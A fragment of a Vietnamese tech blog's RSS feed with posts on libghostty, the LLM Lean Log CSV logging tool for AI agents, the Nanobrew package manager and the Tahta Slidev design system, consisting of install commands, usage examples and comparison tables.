| C API | ✅ | ❌ | ✅ | ✅ |
| WASM | ❌ | ✅ | ❌ | ✅ |&lt;/p&gt;
&lt;h3&gt;3. C API = Universal&lt;/h3&gt;
&lt;p&gt;C API có nghĩa là bindings cho mọi ngôn ngữ: Go, Rust, Python, .NET, TypeScript, Dart, Odin, Elixir, MoonBit, Node.js, Swift. Cộng đồng đã tự xây bindings cho ngôn ngữ họ dùng — không cần chờ team Ghostty.&lt;/p&gt;
&lt;h2&gt;Tương Lai&lt;/h2&gt;
&lt;p&gt;Mitchell Hashimoto đã công bố lộ trình: libghostty-vt chỉ là bước đầu. Tiếp theo sẽ là:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Input handling — keyboard encoding (lĩnh vực đầy rẫy edge case)&lt;/li&gt;
&lt;li&gt;GPU rendering — cung cấp OpenGL/Metal surface, libghostty render terminal&lt;/li&gt;
&lt;li&gt;GTK widgets + SwiftUI framework — terminal view trọn gói&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hệ sinh thái terminal đang thay đổi. Ghostty không chỉ là terminal app — nó là nền tảng.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Xu hướng: terminal là component, không phải monolithic app
Before: Terminal app ← tự viết VT parser
After:  App của bạn ← libghostty (C API, zero-dep)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;80+ project trong 9 tháng. AI agents, SSH clients, IDE plugins, web terminals — tất cả đều embed terminal từ một thư viện chung. Đây là hướng đi đúng cho hệ sinh thái terminal.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ghostty.org&quot;&gt;Ghostty Terminal Emulator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mitchellh/libghostty&quot;&gt;libghostty GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ziglang.org/documentation/master/&quot;&gt;Zig Language Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mitchellh/go-libghostty&quot;&gt;Go libghostty Bindings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Uzaaft/libghostty-rs&quot;&gt;Rust libghostty Bindings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/coder/ghostty-web&quot;&gt;Ghostty Web (coder.com)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>LLM Lean Log — Log CSV Tiết Kiệm Token Cho AI Agent</title><link>https://dopana-blog.pages.dev/blog/llm-lean-log-log-csv-tiet-kiem-token-cho-ai-agent</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/llm-lean-log-log-csv-tiet-kiem-token-cho-ai-agent</guid><description>LLM Lean Log là CLI + CSV format giúp AI agent ghi log tiết kiệm token — cause/effect tracking, git diff, visualizer, MCP server.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bạn có bao nhiêu session chat với AI agent? Và bạn có thể quay lại session tuần trước để biết tại sao mình chọn giải pháp đó không?&lt;/p&gt;
&lt;p&gt;Vấn đề: AI agent chat thì dài, lưu thì tốn token, xem lại thì khó. JSON log nặng, Markdown log thì LLM đọc lãng phí. Còn ghi vào đầu thì... quên.&lt;/p&gt;
&lt;p&gt;LLM Lean Log giải quyết: một format log dạng CSV siêu gọn, tối ưu cho LLM đọc, có CLI để agent tự ghi, có visualizer cho người xem.&lt;/p&gt;
&lt;h2&gt;LLM Lean Log Là Gì?&lt;/h2&gt;
&lt;p&gt;LLM Lean Log (tác giả: &lt;a href=&quot;https://github.com/loclv&quot;&gt;loclv&lt;/a&gt; — cùng tác giả Agent MD) là một hệ thống log cho LLM, gồm:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Định dạng CSV — tối ưu token nhất cho dữ liệu dạng bảng&lt;/li&gt;
&lt;li&gt;CLI tool (&lt;code&gt;l-log&lt;/code&gt;) — agent tự ghi/đọc log, output JSON&lt;/li&gt;
&lt;li&gt;Cause &amp;#x26; Effect tracking — log nối với nhau qua UUID&lt;/li&gt;
&lt;li&gt;Git diff tự động — mỗi log kèm diff của lần thay đổi đó&lt;/li&gt;
&lt;li&gt;Visualizer — web app React xem log đẹp&lt;/li&gt;
&lt;li&gt;MCP Server — tích hợp vào agent memory&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Vấn Đề: Logging Cho LLM&lt;/h2&gt;
&lt;p&gt;Các format logging hiện tại đều có vấn đề:&lt;/p&gt;
&lt;p&gt;| Format | Token usage | LLM parse | Người đọc |
|---|---|---|---|
| Markdown | Cao | Trung bình | Dễ |
| JSON | Cao | Trung bình | Khó |
| CSV (Lean Log) | Thấp nhất | Dễ nhất | CLI + Visualizer |&lt;/p&gt;
&lt;p&gt;CSV là format bảng thuần tuý — không có dấu ngoặc, không có định dạng thừa. Với dữ liệu log có cấu trúc, CSV tiết kiệm token hơn JSON và Markdown rất nhiều.&lt;/p&gt;
&lt;p&gt;Ngoài ra, log thông thường thiếu thông tin ngữ cảnh:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Log level WARNING là cho system, nhưng LLM cần biết vấn đề là gì&lt;/li&gt;
&lt;li&gt;Log không có thông tin cause &amp;#x26; effect — tại sao lại thay đổi này?&lt;/li&gt;
&lt;li&gt;Không có link tới file code hay commit&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Node version (l-log)
bun add -g llm-lean-log-cli

# Bun version (bl-log)
bun add -g bl-log

# Visualizer
bun add -g l-log-vis
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Định Dạng CSV&lt;/h2&gt;
&lt;p&gt;Mỗi dòng là một log entry, với các trường:&lt;/p&gt;
&lt;p&gt;| Trường | Bắt buộc | Mô tả |
|---|---|---|
| &lt;code&gt;id&lt;/code&gt; | ✅ | UUID, dùng cho cause/effect graph |
| &lt;code&gt;name&lt;/code&gt; | ✅ | Tóm tắt log (ngắn) |
| &lt;code&gt;tags&lt;/code&gt; | ❌ | Tag phân loại, cách dấu phẩy |
| &lt;code&gt;problem&lt;/code&gt; | ✅ | Vấn đề / ngữ cảnh |
| &lt;code&gt;solution&lt;/code&gt; | ❌ | Giải pháp |
| &lt;code&gt;tradeoff&lt;/code&gt; | ❌ | Đánh đổi, pros/cons |
| &lt;code&gt;spec-decisions&lt;/code&gt; | ❌ | Quyết định kỹ thuật ngoài spec |
| &lt;code&gt;action&lt;/code&gt; | ❌ | Hành động đã làm (code blocks) |
| &lt;code&gt;files&lt;/code&gt; | ❌ | File đã sửa |
| &lt;code&gt;tech-stack&lt;/code&gt; | ❌ | Công nghệ dùng |
| &lt;code&gt;cause&lt;/code&gt; | ❌ | Nguyên nhân (text) |
| &lt;code&gt;causeIds&lt;/code&gt; | ❌ | UUID của log nguyên nhân |
| &lt;code&gt;effectIds&lt;/code&gt; | ❌ | UUID của log kết quả |
| &lt;code&gt;last-commit-short-sha&lt;/code&gt; | ❌ | Git commit (auto) |
| &lt;code&gt;created-at&lt;/code&gt; | ✅ | ISO 8601 |
| &lt;code&gt;model&lt;/code&gt; | ❌ | Model AI dùng |&lt;/p&gt;
&lt;p&gt;Ví dụ một dòng CSV:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-csv&quot;&gt;id,name,tags,problem,solution,files,created-at,auth-error-001,API Auth Error,&quot;error,api,auth&quot;,JWT expire not handled,Added token refresh logic,&quot;auth.ts, auth.routes.ts&quot;,2026-01-13T14:52:58Z
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cách Dùng CLI&lt;/h2&gt;
&lt;h3&gt;Cho Agent: Ghi Log&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;l-log add ./logs/chat.csv &quot;Fix bug&quot; \
  --tags=bug,fix \
  --problem=&quot;Users can&apos;t login - JWT expired&quot; \
  --solution=&quot;Added token refresh with retry&quot; \
  --tradeoff=&quot;More network calls, better UX&quot; \
  --files=&quot;src/auth.ts, src/routes.ts&quot; \
  --tech-stack=&quot;express, jwt&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lệnh này tự động:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tạo UUID&lt;/li&gt;
&lt;li&gt;Ghi git diff ra file &lt;code&gt;.diff&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ghi timestamp&lt;/li&gt;
&lt;li&gt;Validate các trường&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Cho Agent: Đọc Log&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Xem log cuối (tiết kiệm nhất)
l-log view ./logs/chat.csv --last

# Xem tất cả
l-log list ./logs/chat.csv

# Tìm kiếm
l-log search ./logs/chat.csv &quot;Database&quot;

# Lọc theo tag
l-log tags ./logs/chat.csv error api

# Xem stats
l-log stats ./logs/chat.csv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tất cả output đều là CSV — LLM đọc trực tiếp, không cần parse thêm.&lt;/p&gt;
&lt;h3&gt;Cho Người: Xem Đẹp&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Thêm --human để xem dạng bảng có màu
l-log list ./logs/chat.csv --human
l-log view ./logs/chat.csv 0 --human
l-log search ./logs/chat.csv &quot;query&quot; --human
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Export&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Export ra Markdown (kiểu Obsidian vault)
l-log export md ./logs/chat.csv --vault=./my-vault

# Export ra JSONL
l-log export jsonl ./logs/chat.csv --out=logs.jsonl
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Visualizer Web&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;l-log-vis ./logs/chat.csv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mở web app React với:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bảng log đẹp, có màu&lt;/li&gt;
&lt;li&gt;Search &amp;#x26; filter&lt;/li&gt;
&lt;li&gt;Code highlighting&lt;/li&gt;
&lt;li&gt;Directed Graph (cause → effect)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tích Hợp Vào AI Agent Workflow&lt;/h2&gt;
&lt;p&gt;Thêm rule vào &lt;code&gt;.agents/rules/common.md&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;---
trigger: always_on
---
Whenever you finish a task, log your work using:
`l-log add ./logs/chat.csv &quot;&amp;#x3C;Task&gt;&quot; --tags=&quot;&amp;#x3C;tags&gt;&quot; --problem=&quot;&amp;#x3C;problem&gt;&quot; --solution=&quot;&amp;#x3C;solution&gt;&quot; --files=&quot;&amp;#x3C;files&gt;&quot; --created-by-agent=&quot;&amp;#x3C;agent&gt;&quot;`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó, mỗi khi agent hoàn thành task, nó tự ghi log. Lần sau agent có thể đọc log để biết chuyện gì đã xảy ra.&lt;/p&gt;
&lt;h2&gt;Cause &amp;#x26; Effect Tracking&lt;/h2&gt;
&lt;p&gt;Điểm mạnh nhất của LLM Lean Log: log nối với nhau bằng UUID.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Log A: &quot;Thêm JWT auth&quot;
  ↓ cause
Log B: &quot;Fix lỗi JWT expire&quot;
  ↓ cause
Log C: &quot;Thêm refresh token rotation&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Khi LLM đọc, nó thấy &lt;code&gt;causeIds: &quot;uuid-A&quot;&lt;/code&gt; trong Log B và biết ngay context. Đây là một Directed Graph của quyết định — không chỉ là list log đơn thuần.&lt;/p&gt;
&lt;h2&gt;So Sánh&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | JSON Log | Markdown Log | LLM Lean Log |
|---|---|---|---|
| Token usage | Cao | Cao | Thấp nhất |
| LLM parse được | Trung bình | Trung bình | Dễ nhất |
| Cause/Effect | Không | Không | Có |
| Git diff | Không | Không | Tự động |
| Visualizer | Tool riêng | Tool riêng | Có sẵn |
| MCP Server | Không | Không | Có |
| CLI cho agent | Không | Không | Có |&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;LLM Lean Log giải quyết một vấn đề thực tế: AI agent cần ghi nhớ, nhưng ghi nhớ bằng chat log thô thì tốn token và khó tra cứu.&lt;/p&gt;
&lt;p&gt;Với CSV làm format, CLI để agent tự động ghi/đọc, cause/effect tracking để nối các quyết định, và visualizer cho người xem — đây là công cụ đáng có trong stack AI agent của bạn.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cùng tác giả: &lt;a href=&quot;https://github.com/loclv/agent-md&quot;&gt;Agent MD&lt;/a&gt; — CLI viết markdown thân thiện với AI.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/loclv/llm-lean-log&quot;&gt;LLM Lean Log GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/loclv/agent-md&quot;&gt;Agent MD — Markdown CLI for AI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc4180&quot;&gt;CSV Format Specification — RFC 4180&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://modelcontextprotocol.io/&quot;&gt;MCP (Model Context Protocol) Specification&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Nanobrew — Quản Lý Gói macOS Siêu Nhanh Bằng Zig</title><link>https://dopana-blog.pages.dev/blog/nanobrew-trinh-quan-ly-goi-sieu-nhanh-cho-macos-viet-bang-zig</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/nanobrew-trinh-quan-ly-goi-sieu-nhanh-cho-macos-viet-bang-zig</guid><description>Nanobrew là package manager thay thế Homebrew, viết bằng Zig — warm install 3ms, parallel downloads, binary 1.2MB, không Ruby, hỗ trợ Linux .deb.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bạn có bao giờ chạy &lt;code&gt;brew install&lt;/code&gt; và chờ đợi... rồi chờ thêm một lúc nữa vì &lt;code&gt;brew&lt;/code&gt; cứ &lt;code&gt;brew update&lt;/code&gt; trước khi cài? Hoặc cảm thấy bực mình vì Homebrew — dù rất tuyệt — lại nặng nề và chậm chạp?&lt;/p&gt;
&lt;p&gt;Nanobrew ra đời để giải quyết vấn đề đó: một trình quản lý gói siêu nhanh cho macOS (và Linux), viết hoàn toàn bằng Zig, tương thích ngược với hệ sinh thái Homebrew.&lt;/p&gt;
&lt;h2&gt;Nanobrew Là Gì?&lt;/h2&gt;
&lt;p&gt;Nanobrew là một client thay thế cho Homebrew, không phải fork. Nó dùng chính công thức (formulae), bottles, và casks của Homebrew — nhưng được viết lại từ đầu bằng Zig, tạo ra một binary tĩnh 1.2 MB duy nhất, không cần Ruby runtime.&lt;/p&gt;
&lt;p&gt;Tác giả: Rach (GitHub: &lt;a href=&quot;https://github.com/justrach&quot;&gt;justrach&lt;/a&gt;).&lt;/p&gt;
&lt;h3&gt;Tại Sao Lại Cần?&lt;/h3&gt;
&lt;p&gt;Homebrew là công cụ tuyệt vời, nhưng có một số vấn đề:&lt;/p&gt;
&lt;p&gt;| Vấn đề | Homebrew | Nanobrew |
|---|---|---|
| Khởi động chậm | &lt;code&gt;brew install&lt;/code&gt; chạy &lt;code&gt;brew update&lt;/code&gt; trước (có thể mất phút) | &lt;code&gt;nb install&lt;/code&gt; chỉ cài, không auto-update |
| Runtime nặng | Ruby (~57 MB) | Binary 1.2 MB, khởi động tức thì |
| Download tuần tự | Mặc định download từng cái một | Download song song mọi dependencies |
| Gatekeeper quarantine | Casks bị dán nhãn &quot;Are you sure?&quot; | Skip quarantine, mở app ngay |
| Warm install | &lt;code&gt;brew bundle&lt;/code&gt; kiểm tra lại ~10s dù đã cài | Trả về ngay trong mili giây |&lt;/p&gt;
&lt;h2&gt;Hiệu Năng&lt;/h2&gt;
&lt;p&gt;Đây là điểm Nanobrew gây ấn tượng nhất. Các benchmark trên GitHub Actions (Apple Silicon):&lt;/p&gt;
&lt;p&gt;| Package | Homebrew | nanobrew (warm) |
|---|---|---|
| &lt;code&gt;tree&lt;/code&gt; (0 deps) | 4.070s | 0.009s |
| &lt;code&gt;ffmpeg&lt;/code&gt; (11 deps) | 14.252s | 0.287s |
| &lt;code&gt;wget&lt;/code&gt; (6 deps) | 3.935s | 0.027s |&lt;/p&gt;
&lt;p&gt;Nanobrew nhanh hơn 15–45 lần so với Homebrew trên warm installs nhờ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Content-addressable store — lưu bottles theo SHA256, reinstall là instant&lt;/li&gt;
&lt;li&gt;APFS clonefile — zero-copy trên macOS, không tốn thêm dung lượng&lt;/li&gt;
&lt;li&gt;Streaming SHA256 — verify hash trong lúc download, không cần quét lại&lt;/li&gt;
&lt;li&gt;Parallel downloads — tất cả dependencies tải cùng lúc&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Trên Linux, Nanobrew cũng thay thế được &lt;code&gt;apt-get&lt;/code&gt; với speedup lên đến 13 lần:&lt;/p&gt;
&lt;p&gt;| Package set | apt-get | nanobrew (warm) | Speedup |
|---|---|---|---|
| curl wget (35 deps) | 3.4s | 0.4s | 7.6x |
| git vim build-essential (116 deps) | 43.8s | 3.4s | 12.9x |&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;p&gt;Một dòng lệnh là xong:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -fsSL https://nanobrew.trilok.ai/install | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc qua Homebrew (nếu bạn vẫn còn dùng):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;brew tap justrach/nanobrew https://github.com/justrach/nanobrew
brew install nanobrew
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc build từ source (cần Zig 0.16.0+):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone https://github.com/justrach/nanobrew.git
cd nanobrew &amp;#x26;&amp;#x26; ./install.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau cài đặt, gõ &lt;code&gt;nb help&lt;/code&gt; để xem tất cả lệnh.&lt;/p&gt;
&lt;h2&gt;Cách Dùng&lt;/h2&gt;
&lt;p&gt;Nanobrew dùng tiền tố &lt;code&gt;nb&lt;/code&gt;, cú pháp quen thuộc nếu bạn đã dùng Homebrew:&lt;/p&gt;
&lt;h3&gt;Lệnh Cơ Bản&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nb install tree # cài một gói
nb install ffmpeg wget curl # cài nhiều gói cùng lúc
nb remove tree # gỡ cài đặt
nb list # xem gói đã cài
nb info jq # thông tin gói
nb search ripgrep # tìm kiếm formula &amp;#x26; cask
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Phiên Bản Cụ Thể&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nb install hexyl@0.17.0 # cài đúng version
nb pin tree # giữ nguyên version (ko upgrade)
nb unpin tree # cho phép upgrade lại
nb rollback tree # quay lại version cũ
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;macOS Apps (Casks)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nb install --cask firefox # cài app .dmg/.pkg/.zip
nb remove --cask firefox # gỡ app
nb upgrade --cask # upgrade tất cả casks
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Linux / Docker (.deb)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nb install --deb curl wget git # cài từ Ubuntu/Debian repos
nb remove --deb curl # gỡ deb package
nb upgrade --deb # upgrade tất cả deb packages
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Third-Party Taps&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nb install steipete/tap/sag # cài từ third-party tap
# Không cần brew tap — Nanobrew tự fetch formula từ GitHub
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bundle / Brewfile&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nb bundle dump # export danh sách gói đã cài
nb bundle install # cài lại từ bundle file
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Services&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nb services list # xem launchctl services
nb services start postgresql # start service
nb services stop postgresql # stop service
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Migration từ Homebrew&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nb migrate # quét /opt/homebrew, import vào Nanobrew
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau migration, &lt;code&gt;nb list&lt;/code&gt;, &lt;code&gt;nb outdated&lt;/code&gt;, &lt;code&gt;nb upgrade&lt;/code&gt; đều thấy được gói cũ.&lt;/p&gt;
&lt;h2&gt;Cách Hoạt Động&lt;/h2&gt;
&lt;p&gt;Nanobrew không dùng Ruby, không gọi &lt;code&gt;brew&lt;/code&gt; subprocess. Nó tự làm mọi thứ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;nb install ffmpeg
│
├─ 1. Resolve dependencies (BFS, parallel API calls)
├─ 2. Skip gói đã cài (warm path: ~3.5ms)
├─ 3. Download bottles song song (HTTP native, streaming SHA256)
├─ 4. Extract vào content-addressable store (/opt/nanobrew/store/&amp;#x3C;sha&gt;)
├─ 5. Clone vào Cellar qua APFS clonefile (zero-copy)
├─ 6. Relocate Mach-O headers + batch codesign
└─ 7. Symlink binaries vào /opt/nanobrew/prefix/bin/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;So Sánh Kích Thước&lt;/h2&gt;
&lt;p&gt;| Công cụ | Kích thước |
|---|---|
| Homebrew | ~57 MB (Ruby runtime) |
| zerobrew | 7.9 MB |
| nanobrew | 1.2 MB |&lt;/p&gt;
&lt;p&gt;Nanobrew nhỏ hơn zerobrew 6.8 lần và nhỏ hơn Homebrew 47 lần.&lt;/p&gt;
&lt;h2&gt;Hạn Chế&lt;/h2&gt;
&lt;p&gt;Nanobrew còn ở giai đoạn experimental. Một số thứ chưa hỗ trợ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ruby post_install hooks — formula có script Ruby sẽ không chạy&lt;/li&gt;
&lt;li&gt;Build from source với custom options — &lt;code&gt;args: [&quot;with-feature&quot;]&lt;/code&gt; bị ignore&lt;/li&gt;
&lt;li&gt;&lt;code&gt;brew tap&lt;/code&gt; command — Nanobrew tự fetch, không cần lệnh tap riêng&lt;/li&gt;
&lt;li&gt;Mac App Store (mas) — không hỗ trợ&lt;/li&gt;
&lt;li&gt;Complex Ruby DSL trong Brewfiles — conditional blocks, custom Ruby code&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nếu bạn cần những tính năng này, Homebrew vẫn là lựa chọn an toàn hơn.&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Nanobrew là một dự án đầy tham vọng: thay thế Homebrew bằng một binary Zig 1.2 MB, nhanh hơn 15–45 lần, tương thích ngược với toàn bộ hệ sinh thái Homebrew. Dù còn experimental, nó đã đủ dùng cho luồng công việc hàng ngày — cài package, cask, bundle — và đặc biệt hữu ích trong Docker khi cần thay &lt;code&gt;apt-get&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Nếu bạn là người yêu thích tốc độ và muốn giảm thời gian chờ đợi vô ích, Nanobrew đáng để thử ngay hôm nay.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/justrach/nanobrew&quot;&gt;Nanobrew GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nanobrew.trilok.ai&quot;&gt;Nanobrew Installation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.brew.sh&quot;&gt;Homebrew Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ziglang.org/documentation/master/&quot;&gt;Zig Language Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.apple.com/documentation/Foundation/NSFileManager/1414100-cloneItemAtURL&quot;&gt;APFS Clonefile Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Tahta — Design System Cho Slidev, 13 Biến Thể 1 Dòng</title><link>https://dopana-blog.pages.dev/blog/tahta-design-system-cho-slidev-13-variants-chi-voi-1-dong-config</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/tahta-design-system-cho-slidev-13-variants-chi-voi-1-dong-config</guid><description>Tahta là design system cho Slidev — tokens, components, layouts, 13 biến thể thiết kế, đổi style toàn bộ deck chỉ với 1 dòng config.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Làm slide thuyết trình đẹp luôn là một cuộc chiến. Bạn có thể dùng PowerPoint và mất hàng giờ căn chỉnh. Hoặc dùng Slidev — viết slide bằng Markdown — nhưng rồi vẫn phải lo chuyện theme, màu sắc, bố cục.&lt;/p&gt;
&lt;p&gt;Tahta giải quyết vấn đề này triệt để. Nó không chỉ là một theme Slidev — nó là một design system hoàn chỉnh: tokens, components, layouts, với 13 biến thể thiết kế khác nhau, và bạn chuyển đổi giữa chúng chỉ bằng một dòng config.&lt;/p&gt;
&lt;h2&gt;Tahta Là Gì?&lt;/h2&gt;
&lt;p&gt;Tahta (tác giả: &lt;a href=&quot;https://github.com/zcag&quot;&gt;Cagdas Salur&lt;/a&gt;) là một design system mã nguồn mở (MIT) cho Slidev. Nó cung cấp:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Token foundation — hệ thống thiết kế 3 tầng (primitives → semantic → variants)&lt;/li&gt;
&lt;li&gt;Component library — Stat, Plot (ECharts), Callout, Badge, Icon, Reveal...&lt;/li&gt;
&lt;li&gt;30+ layouts — cover, stats, chart, timeline, compare, code, agenda...&lt;/li&gt;
&lt;li&gt;13 variants — 6 dark / 7 light, mỗi variant là một phong cách hoàn toàn khác&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Khác với theme Slidev thông thường (chỉ là stylesheet + vài layout), Tahta là một hệ thống có ràng buộc — tokens được định nghĩa bằng dữ liệu, components đọc token, và variants là một remap của token layer.&lt;/p&gt;
&lt;h2&gt;13 Variants — 13 Phong Cách&lt;/h2&gt;
&lt;p&gt;Điểm ấn tượng nhất của Tahta: bạn đổi toàn bộ diện mạo deck chỉ bằng một dòng:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;themeConfig:
  variant: brutalist   # đổi style toàn bộ slide
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;13 variants có sẵn:&lt;/p&gt;
&lt;p&gt;| Variant | Scheme | Font | Cảm giác |
|---|---|---|---|
| editorial (mặc định) | dark | Fraunces + Hanken | Keynote tinh tế |
| brutalist | dark | Space Mono | Thô, kỹ thuật |
| soft | light | Plus Jakarta | Thân thiện, product |
| minimal | light | Archivo heavy | Editorial tương phản cao |
| paper | light | Fraunces serif | Ấm áp, vintage |
| atelier | dark | Hanken gradient | Studio, premium |
| notebook | light | Hanken bold | Vở học sinh, vui tươi |
| lagoon | dark | Hanken heavy | Teal pastel, moody |
| press | light | Fraunces serif | Tạp chí editorial |
| boardroom | dark | Hanken | Navy + cam, corporate |
| signal | dark | Hanken heavy | True black + glow, launch |
| muse | light | Fraunces serif | Đá xám, trí thức |
| poster | light | Anton condensed | Cream + accent nóng, athletic |&lt;/p&gt;
&lt;p&gt;Mỗi variant thay đổi toàn bộ: typeface, shapes, textures, density, motion, palette — không chỉ đổi màu.&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm i slidev-theme-tahta echarts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(ECharts chỉ cần nếu bạn dùng chart layout.)&lt;/p&gt;
&lt;h2&gt;Sử Dụng&lt;/h2&gt;
&lt;p&gt;Khai báo theme trong frontmatter của file &lt;code&gt;.md&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;---
theme: slidev-theme-tahta
title: Bài nói của tôi
themeConfig:
  variant: editorial
layout: cover
kicker: Team · 2026
subtitle: Một dòng, 13 phong cách
---
